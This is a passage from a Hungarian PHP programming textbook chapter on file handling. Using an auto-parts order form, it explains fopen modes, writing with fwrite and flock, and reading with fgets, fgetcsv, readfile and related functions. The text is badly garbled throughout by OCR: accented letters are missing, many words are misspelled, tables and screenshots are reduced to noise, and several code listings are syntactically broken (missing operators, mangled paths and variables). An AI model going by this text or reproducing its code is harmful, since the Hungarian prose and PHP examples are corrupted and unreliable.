zt hasznltuk, de akrcsak az rlapvltozk krlmnyes teljes neveinl, rvidebb nevet rendeltnk hozz. Ez a vltoz a webszerver dokumentumfjnak tetejre mutat. A kdsor a .. karakterekkel..a dokumentum gykrknyvtr nak szlknyvtrra" utal. Ez a knyvtr biztonsgi okokbl a dokumentumfn kivl helyezkedik el. Jelen esetben nem szeret nnk, hogy ez a fjl- az ltalunk ksztend internetes felletet leszmtva- interneten keresztl elrhet legyen. Ezt az elr si tvonalat relatv elrsi tvonalnak nevezzk, mert a dokumentumgykrhez viszonytva mucat a f;ijlrendszer adott helyre. A krcsak az rlapvltozkhoz rendelt rvidebb nevek esetn, most is az albbi sort kell a kd elejn szerepeltetnnk ahhoz, hogy tmsoljuk vele a hossz stlus vltoz tartalmt a rvidebb nevbe:
$DOCUMENT_ROOT
=

$_SERVER['DOCUMENT_ROOT'];

Ahogy az rlapadatok elrsnek is tbb mdja lehetsges, az elre definilt szervervltozkat is klnbzkppen rhetjk el. Kiszolglnk belltstl fggen (a rszleteket lsd az l. fejezetben)a kvetkezkkel jutharunk a dokumenrumgykrhez:
$_SERVER['DOCUMENT_ROOT'] $DOCUMENT_ROOT $HTTP_SERVER_VARS['DOCUMENT_ROOT']

Az rlapadatokhoz hasonlan itt is az els stlus ajnlott. A fjlokhoz abszolt elrsi tvonalat is megadhatunk. Ez a gykrknyvtrbl (Unix-rendszeren l, windowsos rendszeren lcalban C:\) indul elrsi tvonal. Unixos szervernkn ez az tvonal valami ilyesmi lenne: /home/book/rendelesek. Ezzel a megkzeltssel az a gond, hogy - klnsen akkor, ha nem sajt kiszolglnkon troljuk oldalunkar- az abszolt elrsi tvonal mdosulhat. A szerzk mr megfizettk a tanulpnzt, mert egyszer a rendszergazdk rtests nlkl megvl toztattk a knyvtrstrukrrt, s ezrt knyeelek voltunk a teljes kdban mdostani az abszolt elrsi tvonalakat. Ha nincsen elrsi tvonal meghatrozva, a fjl abban a knyvrrban jn ltre, vagy ott fogja az opercis rendszer keresni, ahol a kd maga tallhat. A hasznlt knyvtr eltr lesz, ha valamilyen CGI wrapperen (rtelmezn)keresztl futtaguk
a

PHP-t, s fgg a szerverbellrsoktl is. Unixos krnyezetben hagyomnyos perjeleker (/)hasznlunk az elrsi tvonalakban. Windowsos platform esern ha

gyomnyos (/)s fordrott perjeleker ( \) is alkalmazhatunk. Az utbbi esern klnleges karakterknt kell jellnnk ket az
fopen () fggvny szmra, hogy megfelelen rtelmezze azokat. Vdkarakrerknr egyszeren egy msik fordtorr perjelet

kell eljk rnunk, mint az albbi pldban:


$fp
=

fopen("$DOCUMENT ROOT\\..\\rendelesek\\rendelesek.txt",

'w');

Nagyon kevesen hasznlnak fordtott perjeleket a PHP-beli elrsi tvonalakban, mert az azt eredmnyezi, hogy a kd csak windowsos krnyezetben fog mkdni. Hagyomnyos perjelek alkalmazsa esern minden mdosrs nlkl hasznlharjuk
a kdot

windowsos s unixos gpekeil is.


'w'

Az fopen () msodik paramtere a megnyirsi md, amelynek karakterlncnak kell lenni. Ez hatrozza meg, hogy rnir sze reennk tenni a fjllal. Jelen esetben a paramtert adjuk az f o p e n () fggvnynek, ez azt jelenti, hogy ..a fjl megnyitsa rsra:' A megnyitsi mdok sszefoglalsr a 2.1 tblzarban talljuk.

2.1 tblzat A:; fopen ( ) Md


r r+ w

fiiggvny megnyitsi mdjainak ss:;efoglalsa Jelentse


Fjl megnyitsa olvassra a fjl elejn kezdve. Fjl megnyitsa olvassra s rsra a fjl elejn kezdve. Fjl megnyitsa rsra a fjl elejn kezdve. Ltez fjl esern trli a meglv tartalmat. Ha a fjl nem ltezik, megprblja ltrehozni. Fjl megnyitsa rsra s olvassra a fjl elejn kezdve. Ltez fjl esern trli a meglv tartalmat. Ha a fjl nem ltezik, megprblja ltrehozni. Fjl megnyitsa rsra a fjl elejn kezdve. Ltez f;ijl esern nem nyitja meg azt, az fopen() false rtkkel tr vissza, a PHP pedig figyelmeztetst generl.

Mdneve
Olvass (Read) Olvass (Read) rs (Wrire) rs (Write) varos rs (Cautious write)

w+

42

2. fejezet

Md
x+

Mdneve
vacos rs (Cautious wrice)

Jelentse
Fjl megnyitsa rsra s olvassra a fjl elejn kezdve. Ltez fjl esetn nem nyitja meg azt, az fopen() false rtkkel tr vissza, a PHP pedig figyelmezce tse generl.

Hozzfilzs (Append) Hozzfilzs (Append)

Fjl megnyitsa csak hozzfilzsre (rsra) a meglv tartalom vgnl kezd ve. Ha a fjl nem ltezik, megprblja ltrehozni. Fjl megnyitsa hozzfilzsre (rsra) s olvassra a meglv tartalom vgnl kezdve - amennyiben van tartalom. Ha a fjl nem ltezik, megprblja ltre hozni. A tbbi mdokkal egytt hasznlhat. Akkor vlasztjuk ezt a mdot, ha a fjlrendszernk megklnbzteti a binris s a szveges fjlokat. A windowsos rendszerek gy tesznek, a unixosak nem. A PHP-fejleszrk azt ajnljk, hogy a maximlis tjrharsg rdekben mindig hasznljuk ezt az opcir. Ez az alaprtelmezett md.

a+

Binris (Binary)

Szveg (Text)

A tbbi mdokkal egytt hasznlhat. Ez a md csak windowsos rendszere ken rhet el. Csak abban az esetben ajnlott, ha olyan krnyezetbe visszk t a kdot, ahol rtelmezett az elbbiekben lert 'b', azaz binris md.

A pldban alkalmazand megnyitsi md attl fgg, hogyan fogjuk a rendszert hasznlni. Mi a

'

'

mdot vlasztottuk,

amely egyetlen megrendels trolst teszi lehetv a fjlban. Minden j megrendels felvtele fellrja az elz rendelst. Mivel ennek gy nem sok rtelme van, nyilvnvalan jobban jrunk a hozzfilzs (s az ajnlott binris) md kivlasztsval:
$fp
=

fopen("$DOCUMENT_ROOTI..Irendeleseklrendelesek.txt",

'ab');

Az fopen () fggvny harmadik paramtere opcionlis. Akkor hasznljuk, ha szeretnnk rkeresni a fjl inelude_path bellrsra (amir a PHP konfigurcii kzrr adhatunk meg; lsd Fggelk: A PHP a paramtert l-re! Ha utastjuk a PHP-r, hogy keressen r az vagy elrsi tvonalat:
$fp
=

s a MySQL teleptse!). Ehhez lltsuk ezt

include_path -ra,

akkor meg kell adnunk egy knyvtrnevet

fopen('rendelesek.txt',

'ab',

true);

A negyedik paramter is opcionlis. Az

fopen ( )

fggvny lehetv teszi, hogy a fjlnevek el eltagknt protokollt he


fopen

lyezznk (pldul h ttp: ll) , s tvoli helyen nyissuk meg az llomnyokat. Egyes protokollok egy tovbbi paramtert is megengednek. m mindez a szerverbellrsokrl fgg, s szigor rendszerzemeltets mellett szmolnunk kell az HTTP-s mkdsnek riltsval. Az
fopen

()

() fggvny ilyen hasznlatr a fejezer kvetkez rszben tekintjk t.

Amennyiben az fopen () sikeresen megnyitja a f;ijlr, a fggvny visszarrsi rtke egy fjlerforrs, ami lnyegben fjlazo nosr, amivel a fjira hivatkozunk. A fjlerforrsr vltozban troljuk - ez jelen esetben a $ fp. Ezt a vltozr hasznlva rjk el a fjlt, amikor tnylegesen olvasni akarjuk, vagy rni szeretnnk bele.

Fjlok megnyitsa FTPn vagy HTTPn keresztl


Az fopen () fggvnnyel a helyi llomnyok olvassra s rsra val megnyitsn tlmenen FTP-n, HTTP-n vagy ms

protokollon keresztl is megnyithatunk fjlokat. A a ph p.ini llomnyt! Ha a hasznlt fjlnv


ftp: ll -vel

ph p.ini

fjl allow_url_fopen belltst kikapcsolva kiiktarhatjuk


f open

ennek lehersgt. Ha problmink jelentkeznek a tvoli fjlok

() fggvnnyel trtn megnyitsakor, ellenrizzk

kezddik, passzv tviteli md FTP kapcsolat nylik az ltalunk megadott fjlhoz, s

a fggvny a fjl elejre murar fjlazonosrval rr vissza. Amennyiben a f;ijlnv h ttp : ll -vel kezddik, HTTP kapcsolat nylik a megadott szerverhez, a fggvny pedig a vlaszra mutar fjlmutarval tr vissza. Amikor a HTTP mdot a PHP rgebbi verziival hasznljuk, meg kell adnunk a knyvtrne vek utni perjelet is, minr az albbi pldban: hrtp://www.pelda.com/ nem pedig http://www.pelda.com. Amikor utbbi formj (perjel nlkli) cmer adunk meg, a webszerver ltalban HTTP tirnytssal az els, vagyis a per jelet tartalmaz cmre kld bennnket. Prbljuk ki ezt bngsznkben l Ne feledjk, hogy az URL-ben a domainnevek nem tesznek klnbsger a kis- s nagyberk kztt, m az elrsi tvonalak s fjlnevek igen!

Adatok trolsa s visszakeresse

43

Fjlmegnyitsi problmk kezelse


Az egyik hiba, amit knnyen elkvethetnk, ha olyan fjlt prblunk meg megnyitni, amihez nem rendelkeznk olvassi vagy rsi jogosultsggal. (Ez a hiba a Unix-szer opercis rendszerek esetben gyakran elfordul, m alkalmanknt Windows alatt is tallkozhatunk vele). Amikor gy tesznk, a PHP a 2.2 brn lthat figyelmeztetshez hasonlt ad.


(>11 ....... _,...

-18''i2 2

Bob autalkatrszek Rendelsi eredmlnyek


a-.....11.39,141li120\0

Raodtll......:kd<...-...,U ,_

4!1obm..a.j

$264.00

Sdoo:Nou-..Jll w..,__..._oors.qWed..,_
--s.. ....... &..co..y ia .... .._. _ -... .-,........ ....

2.2 bra:

A PHP figyelmeztetssei jelzi, amikor a fjlt nem lehet megnyitni.

Ilyen hiba esetn meg kell bizonyosodnunk arrl, hogy a kdot futtat felhasznl rendelkezik-e hozzfrsi jogosultsggal
az

ltalunk hasznlni kvnt fjlhoz. A kiszolgl belltstl fggen a kd futhat a webszerver felhasznljaknt vagy azon Legtbb rendszeren a kd a webszerver hasznljaknt fut. Amennyiben kdunk Unix-rendszeren mondjuk a -/public_

knyvtr rulajdonosaknt, amelyben tallhat.


html/02 _fejezet/ knyvtrban tallhat, akkor a kvetkezkppen hozhatunk ltre brki ltal rhat knyvtrat a meg

rendelsek trolsra:
mkdir -/rendelesek chrnod 777 -/rendelesek

Egy pillanatra sem szabad elfelejteni, hogy az olyan knyvtrak s fjlok, amelyekbe brki rhat, igen veszlyesek lehetnek. A kzvedenl az internetrl elrhet knyvtraknak nem szabad rhatknak lennik. A rendelesek knyvtrunk pontosan ezrt kt alknyvtrral feljebb, a pub li c_html felett helyezkedik el. A biztonsggal rszletesebben foglalkozunk majd a 15. fejezetben (Az e-kereskedelem

biztonsgi krdsei).

A rossz jogosultsgi bellts taln a leggyakrabban elkvetett, m messze nem az egyeden fjlmegnyitsi hiba. Ha nem rud juk megnyitni a fjlt, fontos, hogy tisztban legynk ezzel, s ne prbljunk meg adatokat olvasni belle vagy rni bele! Amennyiben az fopen () fggvnnyel vgzett megnyitsi ksrlet sikertelen, a fggvny false rtkkel tr vissza. A hibt sokkal inkbb felhasznlbart mdon kezdhetjk, ha elnyomjuk a PHP hibazenetet, s a sajrunkat hasznljuk: @ $fp
if
=

fopen("$DOCUMENT_ROOT/ ../rendelesek/rendelesek.txt",

'ab');

(1$fp) { echo "<p><strong> Megredelst jelen pillanatban nem tudtuk feldolgozni. " Krjk, exit; prblkezzon ks6bb!</strong></p></body></html>";

Az fopen () meghvsa eltti @ szimblum utastja a PHP-t, hogy elnyomja a fggvnyhvsbl ered hibkat. lta lban hasznos rudomst szerezni arrl, ha a dolgok nem megfelelen mkdnek, m jelen esetben mshol fogjuk kezelni a problmt. A kvetkezkppen is rhatjuk ezt a sort:
$fp
=

@fopen("$DOCUMENT_ROOT/../rendelesek/rendelesek. txt",

'a');

Ezzel a mdszerrel taln kevsb nyilvnval, hogy hibaelnyom mveleti jelet hasznlunk, gy kiss megneheztheti k dunkban a hibakeresst. Az itt bemutatott mdszer a hibakezels tlzottan leegyszerstett mdja. Elegnsabb mdszervel a cm 7. fejezetben tallkozhatunk, m halaeljunk szpen sorjban! Az if utasts ellenrzi az $fp vltozt, hogy lssuk, az fopen fggvny rvnyes fjlmutatval trt-e vissza; ha nem, hibazenetet r k, s befejezi a kd futtatst. Mivel az oldal itt vget r, lthatjuk, hogy lezrruk a HTML cmkket (tag), hogy rvnyes HTML kdot kapjunk. A fenti megkzelts ltal adott kimenetet a 2.3 brn ltjuk.

Hiba- s kivtelkezels

44

2. fejezet

c:_ l}
t4f _

tll'

... .......

'

!.:::.-.-- -_,._

_,... r,..-

;o: '1::1.

Bob autalkatrszek
Rodtlsi uedmbyek

..-..-12 ,__.

........

a.....s....oo

2
2.3 bra: A

..-Nocrwalll

PHP hibazenete helyett sajtunkat hasznlva Jelhasznlbart visszajelzst adhatunk.

Fjlba rs
A fjlba rs viszonylag egyszer PHP-ben. Az fwrite() (file write) vagy az fputs () (file put string) fggvnyt hasznlhat juk erre; az fputs () az fwrite () fggvny lneve (aliasa). Az fwrite () hvsa a kvetkezkppen trtnik:
fwrite($fp, $kimeneti_sztring);

A fggvny kzli a PHP-vel, hogy rja a $kimeneti_sztring vltozban trolt karakterlncot az $fp ltal mutatort fjlba. Az fwrite( ) lehetsges alternatvja a file _put_contents () fggvny. Ennek a kvetkez a protorpusa:
int file_put contents ( string fajlnev, string adat

[, [,

int flags resource contextlll

Ez a fggvny az fopen () (vagy felcse ()) meghvsa nlkl rja az adat vltozban trolt karakterlncot a fajlnev nev fjlba. A fggvny a PHPS jdonsga s a file_get_contents() fggvny prja. Ez utbbi fggvnyt is rvidesen be mutatjuk. A flags s a context nem ktelez paramtert leginkbb akkor hasznljuk, amikor tvoli fjlokba runk pldul HTTP vagy FTP segtsgveL (E fggvnyeket a

Hlzati s protokol!fggvnyek hasznlata cm 20. fejezetben trgyaljuk ,!lieg.)

Az f w r i t e (

) fiiggvny paramterei
string string

Az fwrite () fggvny hrom paramtert fogad, m ezek kzl a harmadik nem ktelez. A fggvny prototpusa a kvetkez:
int fwrite ( resource eroforras_valtozo,

[,

int hossz])

A harmadik paramter, a hossz az rni kvnt bjtok maximlis szma. Ha megadjuk ezt a paramtert, az fwrite() fgg vny addig rja a string karakterlncot az ero forras_valtoz o ltal mutatort fjlba, amg el nem ri a string vgt vagy a hossz mennyisg bjtot. Egy karakterlnc hosszt a strlen () beptert PHP fggvnnyel derthetjk ki, mgpedig a kvetkezkppen:
fwrite($fp, $kimenetl_sztring, strlen($kimeneti sztrlng));

A harmadik paramtert akkor rdemes hasznlni, amikor binris mdban runk, mivel segt elkerlni a platformok kzrti kompatibilits problmit.

Fjlformtumok
Arnikor a pldban szerepl adatfjlhoz hasonlt hozunk ltre, teljes mrtkben a sajt dnts nk, hogy milyen formtumban troljuk az adatokat. (Ha azonban ms alkalmazsban kszlnk hasznlni az adatfjlt, annak szablyait is figyelembe kell vennnk.) Most pedig hozzunk ltre egy karakterlncot, amely az adatfjl egy rekordjt jelkpezi! A kvetkezkppen tehetjk ezt meg:
$kimeneti sztring $datum."\t".$abroncs_db." gumiabroncs \t".$olaj_db." olaj\t" .$abroncs db." gyjtgyertya\t\$".$osszmennyiseg ."\t". $szallitasi_cim."\n";

Ezen egyszer plda esetben a rendelsi rekordokat a fjl kln soraiban troljuk. A rekordokat soronknt rva egyszeren addik rekordelvlasztnak az jsor karakter. Mivel ezek lthatatlanok, a "\n" vezrl szekvencival jelkpezzk ket.

Adatok trolsa s visszakeresse

45

Az egsz knyvben vgig ugyangy rjuk az adatmezket, s tabultor karakterrel vlasztjuk el ket egymstl. Mivel a ta bultor karakter szimn lthatatlan, a "\t" vezrl szekvencival jelljk. Brmilyen rtelmes elvlasztt alkalmazhatunk, csak legyen knnyen olvashat! Az elvlaszt vagy hatrol karakter csak olyan lehet, ami a bevitt adatok kztt egyltaln nem fordul el. Ellenkez eset ben fel kell dolgozni a bevitt adatokat, s el kell tvoltani bellk az elvlaszt minden elfordulst. A bemeneti adatok fel dolgozsval a Karakterlncok kezelse s regulris kifejezsek cm 4. leckben foglalkozunk majd. Egyelre elg azt felttelezni, hogy senki nem fog tabultort letni a rendelsi rlapon. Bonyolult ugyan, de nem lehetetlen, hogy a felhasznl tabultort vagy j sort szr egy egysoros HTML bemeneti mezbe. Klnleges mezelvlaszt hasznlatval egyszeren kln vltozkba bonthatjuk az adatokat, amikor visszaolvassuk ket. A harmadik (Tmbk hasznlata) s a negyedik fejezetben trgyaljuk ezt a tmt. Itt azonban minden megrendelst egyetlen karakterlncknt kezelnk. Nhny megrendels feldolgozsa utn a fjl tartalma a 2.1 pldakdban lthathoz kell, hogy hasonltson.
2.1 pldakd: rendelesek. txt
20:30, 20:42, 20:43,

-Plda a

rendelesek. txtfjl

lehetsges tartalmra

31st March 2008 4 gumiabroncs l olaj 6 gyjtgyertya $434.00 22 Short St, 31st March 2008 l gumiabroncs O olaj O gyjtgyertya $100.00 33 Main Rd, 31st March 2008 O gumiabroncs l olaj 4 gyjtgyertya $26.00 127 Acacia St,

Smalltown Newtown Springfield

Fjl bezrsa
Ha befejeztk a fjlon vgzett munkt, be kell zrni. Az fclose () fggvny albbi hasznlatval tehetjk ezt meg:
fclose($fp);

A fjl sikeres bezrsa esetn a fggvny true, azaz igaz rtkkel tr vissza, ellenkez esetben hamissal (false). Ez a fo lyamat a megnyitsnl sokkal kisebb valsznsggel vlt ki brmilyen problmt, ezrt jelen esetben gy dntnk, hogy nem ellenrizzk. A 2.2 pldakd mutatja a rendeles_ feldolgozasa. ph p ksz vltozatnak teljes kdjt.
2.2 pldakd: rendeles feldolgozasa. php-A
_

megrendelseket feldolgoz kd vgleges vltozata

<?php ll rvid vltoznevek ltrehozsa $abroncs db = S_POST['abroncs_db']; Solaj_db


=

$ POST['olaj
=

db'];

$gyertya_db

$ POST['gyertya_db'];
=

$szallitasi_cim $DOCUMENT_ROOT $datum ?> <html> <head>


= =

$ _POST['szallitasi eim']; $ SERVER['DOCUMENT_ROOT']; jS


F

date('H:i,

Y');

<title>Bob autalkatrszek - Rendelsi eredmnyek<ltitle> <lhead> <body> <hl>Bob autalkatrszek</hl> <h2>Rendelsi eredmnyek</h2> <?php echo "<p>Rendels feldolgozsnak id6pontja: ".date('H:i, jS

Y') ."</p>";

46

2. fejezet

echo "<p>Rendelse az albbi:

</p>";

$osszmennyiseg = 0; $osszmennyiseg
=

$abroncs db

$olaj db

$gyertya_db;

echo "Rendelt termkek szma:

".$osszmennyiseg."<br />";

if ($osszmennyiseg == 0)

echo "Egyetlen ttelt sem rendelt az elz oldalon1<br />";

else

if ($abroncs_db > 0) echo $abroncs db." gumiabroncs<br />";

if ($olaj_db > 0) echo $olaj_db." flakon olaj<br />";

if ($gyertya_db > 0) echo $gyertya_db." gyjtgyertyacbr />";

$vegosszeg

0.00; 100); 4) ;
ABRONCSAR

define( 'ABRONCSAR', define('OLAJAR',

10);

define('GYERTYAAR' ,

$vegosszeg

$abroncs_db
+ +

$olaj db

OLAJAR
*

$gyertya_db

GYERTYAAR;

$vegosszeg=number format($vegosszeg,

2,

echo "<p>A rendels vgsszege:

$".$vegosszeg."</p>";

echo "<p>Szllitsi cim:".$szallitasi_cim."</p>";

$kimeneti sztring

$datum."\t".$abroncs db." gum1abroncs \t".$olaj_db." olaj\t" .$gyertya_db." gyjtgyertya\t\$".$vegosszeg ."\t". $szallitasi cim."\n";

ll fjl megnyitsa hozzirsra


@$fp
=

fopen("$DOCUMENT ROOT/.. /rendelesek/rendelesek.txt",

'ab');

flock($fp,

LOCK_EX);

if (!$fp) echo "<p><strong> Megrendelst jelen pillanatban nem tudtuk feldolgozni. Krjk, exit; prblkezzon ksbb!</strong></p></body></html>";

Adatok trolsa s visszakeresse

47

fwrite($fp, flock($fp,

$kimeneti_sztring,

strlen($k1menet1_sztring));

LOCK_UN);

fclose ($fp);

echo "<p>Rendels ?> </body>

rgzitve.</p>";

2
Olvass fjlbl
Egyelre ott tartunk, hogy Bob vevi megrendelseker adhatnak az interneten, de ha Bob alkalmazottai szerernk megnzni a rendelseket, sajt maguknak kell a fjlokat megnyitni uk. Ksztsnk egy olyan webes felletet, amelyen keresztl Bob alkalmazottai egyszeren elolvashatjk a fjlokat! Az ezt a fel leret ltrehoz kdot a 2.3 pldakd mutatja.
2.3 pldakd: rendelesek_megtekintese. ph p- Kezelfellet az alkalmazottak szmra a megrendelseket tartalmaz fjlhoz
<?php //rvid vltoznevek ltrehozsa $DOCUMENT_ROOT ?> <html> <he ad> <title>Bob autalkatrszek </head> <body> <hl>Bob autalkatrszek</hl> <h2>Megrendelsek</h2> <?php Megrendelsek</title>
=

$_SERVER['DOCUMENT_ROOT'];

@$fp

fopen("$DOCUMENT_ROOT/../rendelesek/rendelesek. txt",

'rb');

if (!$fp)

{
prblkezzon ks6bb!</strong></p>";

echo "<p><strong>Nincsen fgg megrendels. Krjk, exit;

while (! feof($fp))

{ 999);

$megrendeles= fgets($fp,

echo $megrendeles."<br />";

?> </body>

Ez a kd is a korbban bemutatott sorrendet kveti: megnyirja a fjlt, olvas belle, majd bezrja. A 2.1 pldakdban szerepl adatfjl hasznlata esetn a kd kimenere megegyezik a 2.4 brn lthatvaL

48

2. fejezet

Bob autalkatrszek i\Jegnodelkek


:G".)O,ll"'-do"lt.IM4_.._.1 .. 6.,.._So&l400l:SIIai.So., tl.lllol.do:XIO ... OSI000033W..It4. )Ul.llw.diO....I.e.j'S!dOOI:1Aucio$t. ....... ..,.._..

2.4 bra: A rendelesek_megtekintese. ph p

kd megjelenti bngszben a rendelesek. txt fjlban lev aktulis megrendelseket.

Vizsgljuk meg rszletesen a kdban szerepl fggvnyeket!

Fjl megnyitsa olvassra: fopen ()


A f:ijlc megint csak az fopen () fggvnnyel nyitjuk meg. Jelen esetben csak olvassra nyitjuk meg az llomnyt, gy az 'rb' megnyitsi mdoc hasznljuk:
$fp
=

fopen("$DOCUMENT_ROOT/.. /rendelesek/rendelesek.txt",

'rb');

Ahol meg kell llnunk: feof ( )


A pldban while ciklussal olvassuk be az adatokat mindaddig, amg el nem rjk a vgt. A ciklus az feof ( ) fggvnnyel keresi a fjl vgt:
while (!feof($fp))

Az feof () fggvny egyeelen paramcere a fjlmucac. Visszatrsi rtke true, amikor a fjlmutat a fjl vghez r. Br a fggvny neve kicsic furcsnak tnhet, taln knnyebben megjegyezhet, ha tudjuk, hogy az angol File End Of File szavak kezdbetibl addik. Ebben az eseeben (illetve ltalnossgban, amikor fjlbl olvasunk), az EOF (end of fjl, azaz fjl vge) elrsig olvasunk a f:ijlbl.

Beolvass soronknt: fgets () , fgetss () s fgetcsv ( )


A pldban az fgets () fggvnnyel olvasunk a fjlbl:
Smegrendeles= fgets($fp,

999);

Ez a fggvny egyszerre egy sort olvas be a fjlbLJelen eseeben addig olvas, amg jsor karakterrel ( \n) nem tallkozik, el nem ri a fjl vgt, vagy a fjlbl beolvasott adat mennyisge el nem ri a 998 bjcoc. A maximlis beolvasott mennyisg a meg hatrozott rtk mnusz l bjt . Sok ms fggvnye is hasznlhatunk fjlbl olvassra. Az fgets () fggvny pldul akkor hasznos, amikor egyszer szve gec tartalmaz fjlokkal dolgozunk, s a szvegec darabonknt kvnjuk kezelni. Az fgets () rdekes vltozata az fgetss () fggvny, aminek az albbi a prototpusa:
string fgetss(resource fp, int hossz, string [megengedett_cimkek]);

A fggvny az fgets ()-hez hasonl azzal a klnbsggel, hogy a szvegben tallc minden PHP s HTML cmkt kiszed. Ha valamilyen konkrt cmkt meg szeretnnk tartani, akkor a megengedett_ eimkek karakterlncban kell megadnunk azt. Akkor rdemes hasznlni, ha msvalaki ltal rt vagy felhasznli bevitele tartalmaz fjlt olvasunk be. A fjlban lv, nem korltozott HMTL kd megzavarhatja a gondosan eltervezett formzsunkac. PHP kd korldan hasznlata esetn a rosszin dulat felhasznl majdnem celjes mrtkben rveheti az irnytst kiszolglnk felett. Az fgetcsv () fggvny az fgets () egy msik vltozata. Prototpusa a kvetkez:
array fgetcsv ( resource fp, [, int hossz [, string hatarolo string mezohatarolo]])

Ez a fggvnyhatrol karakter pldul a korbban ajnlott tabultor vagy - tblzatkezel s egyb alkalmazsok ltal gyakran hasznlt- vessz alkalmazsa esetn szcbontja a fjl sorait. Amennyiben kln-kln szeretnnk a megrendelsben szerepl vltozkat rekonstrulni, az fgetcsv( ) fggvnnyel egyszeren megtehetjk. Az fgets ()-hez hasonlan kell meg hvni, de t kell adni neki a mezk elvlasztsra hasznlc hatrolc. Pldul:
Smegrendeles
=

fgetcsv($fp,

100,

"\t");

Ez a kd lekr egy sort a fjlbl, majd ahol tabultort (\t) tall, felbontja azt. Az eredmnyeket tmbben adja vissza (ami nek pldnkban Smegrendeles a neve). A tmbket a 3. fejezeeben fogjuk rszleeesen megtrgyalni.

Adatok trolsa s visszakeresse

49

A hossz paramternek nagyobbnak kell lennie, mint a beolvasni kvnt fjlban lv leghosszabb sor karakterszma. A mezohatarolo paramter hatrozza meg a sorban lv mezket hatrol karaktert.Amennyiben nem adjuk meg. alap rtelmezsben a "-t {ketts idzjelet) hasznlja.

A teljes fjl beolvassa: readfile () , fpassthru () s file ()


A soronknti beolvass helyett egyszerre is beolvashatjuk a teljes fjlt. Ngyflekppen tehetjk meg ezt. Az els lehetsg a readfile () fggvny hasznlata. A korbban rt szinte teljes kdot lecserlhetjk egyeden sorra:
readfile( "$DOCUMENT _ROOTl..lrendeleseklrendelesek. txt") ;

A readfile() hvsa megnyitja az llomnyt, megjelenti rartalmt a szabvnyos kimeneten {a bngszben), majd bezrja a fjlt. A readfile () fggvny prototpusa:
int readfile(string fajlneve,
[int use include_path [, resource kezelesi_mod]] );

2
'

Az opcionlis msodik paramter azt hatrozza meg. hogy a PHP-nek a php.ini include_path paramterben meg hatrozott knyvtrban kell-e keresnie a fjlokar, s ugyangy mkdik, rnint az fopen ().A szintn opcionlis kezelesi_ mod paramtert csak akkor kell megadni, amikor tvolrl, pldul HTTP-n keresztl nyitjuk meg a fjlokat; az ilyen jelleg hasznlatot a 20. fejezetben mutatjuk be rszletesen. A fggvny visszatrsi rtke a fjlbl beolvasott bjtok teljes szma. A teljes fjl beolvassnak msodik mdszere az fpassthru() fggvny meghvsa. Ehhez elszr az fopen () fggvny nyel meg kell nyimi a fjlt. Ezt kveten a fjlmutatt tadjuk paramterknt az fpassthru () fggvnynek, amely a szabv nyos kimenetre kldi a fjlnak a mutat utni tartalmr. Ha vgzett, bezrja a fjlt. Az elz kd helyett az albbit is hasznlhatjuk:
$fp = fopen("$DOCUMENT_ROOT/ ..lrendeleseklrendelesek. txt", fpassthru($fp); 'rb');

Az fpassthru() fggvny visszatrsi rtke sikeres beolvass esetn igaz, msklnben hamis. A harmadik lehetsg a file() fggvny hasznlata. Ez a readfile () fggvnyhez hasonl, m a fjl szabvnyos kimene ten val megjelenrse helyett tmbb alaktja azt. Mkdst rszletesebben megvizsgljuk majd a tmbkkel foglalkoz 3. fejezetben. A teljessg kedvrt nzzk, hogyan hvnnk meg:
$filearray = file ($DOCUMENT_ROOT/ ..lrendeleseklrendelesek. txt");

Ez a kd a filearray nev tmbbe olvassa be a teljes llomnyt, amelynek rninden sora a tmb egy-egy elemben troldik el. rdemes tudni, hogy a fggvny a PHP korbbi verziiban binris adatokat nem tudott kezelni {nem volt,.binary safe"). A negyedik mdszer a file _get_ conten ts () fggvny hasznlata. Ez annyiban tr el a readfile () fggvnytl, hogy a bngszben val megjelents helyett karakterlncknt adja vissza a fjl tartalmr.

Karakter beolvassa: fgetc ()


A fjl feldolgozsnak egy msik mdja, ha karakterenknt olvassuk be.Az fgetc( ) fggvnnyel tehetjk meg ezt. Egyeden paramtere a fjlmutat, visszatrsi rtke pedig a fjl kvetkez karaktere. Az eredeti kdban lv while ciklust a kvetke zkppen cserlhetjk az fgetc ( ) fggvnyt hasznlra:
while (!feof($fp)) { $char = fgetc($fp); if (' feof($fp)) echo ($char=="\n" ? "<br

1>":

$char);

dig. amg el nem

A kd az fgetc() fggvnnyel egyszerre egy karaktert olvas be a fjlbl, eltrolja a $char vltozban, s teszi ezt rnindad ri a fjl vgt. Ezt kveten formz egy kicsit, hogy a szveg sorvgr jell karaktereket (\n) HTML sort rsekre cserlje { <br l>). Ez csak azt szolglja, hogy rendbe rakja a formzst. Ha megtekintjk a fjl kimenett a rekordok kztt jsorokkal, akkor a teljes fjlt egyeden sorban ltjuk megjelenni. { Prbljuk ki, s gyzdjnk meg rla sajt szemnkkel!) A bngszk nem fog lalkoznak az olyan fehrkz karakterekkel, mint pldul az jsorok, ezrt HTML sortrsekre (<br l>) kell cserlni azokat. A hromoperandus mveleti jelet alkalmazzuk erre. Az fgets() fggvny helyett az fgetc () hasznlatnak mellkharsa, hogy az fgetc () az EOF karaktert adja vissza, amit az fgets() nem tenne. A karakter beolvassa utn jbl ellenrizni kell az fe of() fggvnyt, mert az EOF karaktert nem szeretnnk megjelenteni a bngszben.

50

2. fejezet

A fjlok karakterenknti beolvassa ltalban rtelmeden s nem igazn hatkony megolds, kivve akkor, ha valamilyen oknl fogva kifejezetten karakterenknt szksges feldolgoznunk az llomnyokat.

Tetszleges mennyisg adat beolvassa: fre ad ()


A fjlbl beolvass utols mclja az fread () fggvny hasznlata, amellyel tetszleges mennyisg adatot olvasharunk be a kivlasztott llomnybl. A fggvny prototpusa a kvetkez:
string fread(resource eroforras_valtozo, int hossz);

A hossz paramter ltal bjtban meghatrozott maximlis adatmennyisget olvassa be (de legfeljebb a fjl vagy a hlzati csomag vgig olvassa az adatokat).

Egyb hasznos fjlfggvnyek


Ltezik nhny tovbbi fjlfggvny, amelyek idrl idre hasznosak tudnak lenni. Ezek kzl mutatunk be nhnyat.

Fjl megltnek ellenrzse: file_e x i sts ()


Ha megnyits nlkl szeretnnk meggyzdni arrl, hogy egy adott fjl tnylegesen ltezik-e, a file_exists () fggvnyt kell a kvetkezk szerint hasznlni:
if (file exists ("$DOCUMENT_ROOTI..lrendeleseklrendelesek.txt")) echo else 'Ezek a feldolgozsra vr megrendelsek.';

{
'Jelenleg nincsenek megrendelsek.';

echo

Fjlmret meghatrozsa: files i z e ()


A fjimretet a filesize() fggvny segtsgvel hatrozhatjuk meg:
echo filesize("$DOCUMENT_ROOTI.. /rendeleseklrendelesek.txt");
